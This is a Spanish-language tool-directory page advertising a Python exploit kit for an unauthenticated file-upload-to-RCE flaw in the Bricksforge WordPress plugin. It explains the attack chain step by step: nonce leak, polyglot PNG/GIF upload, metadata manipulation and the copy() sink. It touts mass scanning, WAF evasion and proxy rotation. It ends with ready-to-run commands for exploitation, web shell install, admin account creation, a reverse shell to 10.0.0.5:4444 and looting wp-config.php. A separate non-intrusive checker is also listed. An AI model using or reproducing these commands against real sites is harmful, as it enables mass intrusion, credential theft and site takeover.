Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-85097-Toolkit — Kit de herramientas en Python para CVE-2026-85097: explota la carga de archivos sin autenticación de Bricksforge en WordPress para lograr RCE mediante payloads poliglotas, además de un escáner de detección de versión no intrusivo. | Kitploit
Herramientas/GitHubGitHub/tc4dy/cve-2026-85097-toolkit
ReconocimientoEscáneres de VulnerabilidadesGeneración de PayloadsExplotaciónExplotación de Aplicaciones WebPost-ExplotaciónEvasión de WAFSeguridad WebPruebas de Penetración

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Aprendizaje y Educación
Herramienta de Acceso Remoto
GitHubtc4dy/cve-2026-85097-toolkit

CVE-2026-85097-Toolkit

Kit de herramientas en Python para CVE-2026-85097: explota la carga de archivos sin autenticación de Bricksforge en WordPress para lograr RCE mediante payloads poliglotas, además de un escáner de detección de versión no intrusivo.

Ver Repositorio
513hace 21 díasAún no revisado
Compartir

CVE-2026-85097

CVE-2026-85097 - Kit de herramientas de carga de archivos no autenticada a RCE del plugin Bricksforge para WordPress

CVE-2026-85097 CVSS 10.0 Explotación activa Python 3.6+

Carga de archivos pre-autenticación Polyglot Multiplataforma

Plugin Bricksforge para WordPress - Carga de archivos arbitraria no autenticada a ejecución remota de código

Kit de herramientas de explotación y escáner de detección segura
Solo para pruebas de seguridad autorizadas.


[+] Descripción general de la vulnerabilidad

CVE-2026-85097 es una vulnerabilidad crítica de carga de archivos arbitraria no autenticada en el plugin Bricksforge para WordPress (versiones 3.1.8.9 y anteriores). Permite a atacantes remotos eludir la validación de MIME y cargar archivos PHP controlados por el atacante en el directorio de uploads, lo que resulta en ejecución remota de código como el usuario del servidor web.

Cómo funciona

  1. Obtención del nonce: La acción AJAX bricksforge_regenerate_nonce está registrada con wp_ajax_nopriv_, lo que permite a atacantes no autenticados obtener un nonce REST válido.

  2. Carga polyglot: El endpoint REST form_file_upload valida el tipo MIME del archivo cargado. Un archivo polyglot (cabecera PNG/GIF válida seguida de código PHP) supera esta comprobación.

  3. Confianza en los metadatos: Durante el envío del formulario, el plugin confía en los metadatos proporcionados por el cliente en el parámetro temporaryFileUploads. El campo file apunta al polyglot validado, mientras que el campo url contiene el nombre de archivo elegido por el atacante (incluida la extensión .php).

  4. Ejecución de PHP: El sink copy() del plugin utiliza el valor url proporcionado por el atacante tal cual como nombre de archivo de destino. El archivo polyglot se renombra a .php dentro de wp-content/uploads/YYYY/MM/ y se ejecuta al accederse.

Datos clave

AtributoValor
[>] DescubiertoOctubre de 2026 (Patchstack)
[>] Puntuación CVSS10.0 (CRÍTICA)
[>] CWECWE-434 (Carga sin restricciones de archivos de tipo peligroso)
[>] Plugin afectadoBricksforge (módulo Pro Forms)
[>] Versiones afectadas3.1.8.9 y anteriores
[>] Versión corregida3.1.8.10
[>] AutenticaciónNo requerida (Pre-Auth)
[>] Explotación activaConfirmada en la naturaleza (octubre de 2026)

[<>] Kit de herramientas de explotación

El kit de herramientas de explotación encadena la obtención del nonce, la carga polyglot, la manipulación de metadatos y la ejecución de PHP en un único flujo de trabajo automatizado, con funciones avanzadas para escaneo masivo, OPSEC y post-explotación.

Características

CaracterísticaDescripción
[+] Cadena de ataque completaObtención de nonce, carga de polyglot, envío de formulario, verificación de shell
[+] Payloads polyglotVariantes de chunk tEXt de PNG y extensión de comentario de GIF
[+] Escaneo masivoEscaneo concurrente con grupo de hilos
[+] Post-explotaciónInstalación de web shell, creación de usuario administrador, reverse shell, extracción de archivos
[+] Ejecución de comandosEjecutar comandos arbitrarios en shells confirmadas
[+] Detección seguraEscáner no intrusivo separado (safechecker.py)
[+] Evasion de WAFSuplantación de encabezados, rotación de User-Agent, codificación de extensiones
[+] Soporte de proxyProxies SOCKS5, SOCKS4, HTTP con estrategias de rotación
[+] Múltiples formatos de salidaJSON, CSV, HTML, JSONL, SQLite
[+] Thread-SafeUtiliza mecanismos de bloqueo para operaciones concurrentes
[+] Limitación de tasaLimitador de tasa global con jitter y retardo
[+] MultiplataformaCompatible con Linux, macOS, BSD, WSL

Flujo de ataque

EtapaDescripción
nonceObtener un nonce REST válido mediante la acción AJAX no autenticada
uploadSubir un PNG/GIF polyglot que pase la validación MIME
submitEnviar el formulario con metadatos que apunten al polyglot y una URL .php
verifyAcceder a la shell subida y confirmar la ejecución de comandos
exploitInstalar web shell, crear administrador, activar reverse shell, extraer archivos

Verificador seguro

El verificador seguro (safechecker.py) realiza detección de vulnerabilidades no intrusiva sin subir payloads, enviar formularios ni modificar el objetivo.

[>] Características

CaracterísticaDescripción
[+] Detección de WordPressIdentifica instancias de WordPress mediante múltiples patrones
[+] Detección de pluginConfirma la presencia de Bricksforge mediante HTML y archivos estáticos
[+] Detección de versiónDetecta versiones específicas del plugin
[+] Comprobación de rutas RESTEnumera los endpoints REST de Bricksforge expuestos
[+] Sondeo de endpoint nonceComprobación opcional del endpoint nonce (--probe-nonce)
[+] Comprobación de log de depuraciónInspecciona wp-content/debug.log en busca de rastros del plugin
[+] No intrusivoSolo identifica versiones vulnerables y endpoints expuestos
[+] Salida JSON/CSV/SQL/JSONLExporta resultados para informes
[+] Escaneo masivoEscanea múltiples objetivos con soporte de hilos

Instalación y requisitos

Requisitos previos

  • Python 3.6+
  • pip (para la librería requests)

Instalar dependencias

pip install requests urllib3

Clonar el repositorio

git clone https://github.com/tc4dy/CVE-2026-85097-Toolkit.git
cd CVE-2026-85097-Toolkit
python3 exploit.py
#or
python3 safechecker.py

Ejemplos de uso

[1] Kit de herramientas de explotación (exploit.py)

# Single target exploit
python3 exploit.py -u https://target.com --exploit

# Exploit with custom command
python3 exploit.py -u https://target.com --exploit --cmd "id; uname -a"

# Mass scanning from file with 20 threads
python3 exploit.py -f targets.txt --exploit -t 20 -o results.json

# Install web shell after successful exploit
python3 exploit.py -u https://target.com --exploit --webshell

# Create admin user via RCE
python3 exploit.py -u https://target.com --exploit --create-admin "sysadmin:Str0ng!Pass"

# Trigger reverse shell
python3 exploit.py -u https://target.com --exploit --reverse-shell "10.0.0.5:4444"

# Loot wp-config.php and other files
python3 exploit.py -u https://target.com --exploit --loot

# Proxy with rotation
python3 exploit.py -f targets.txt --proxy-list proxies.txt --proxy-rotate round-robin
Descargar herramienta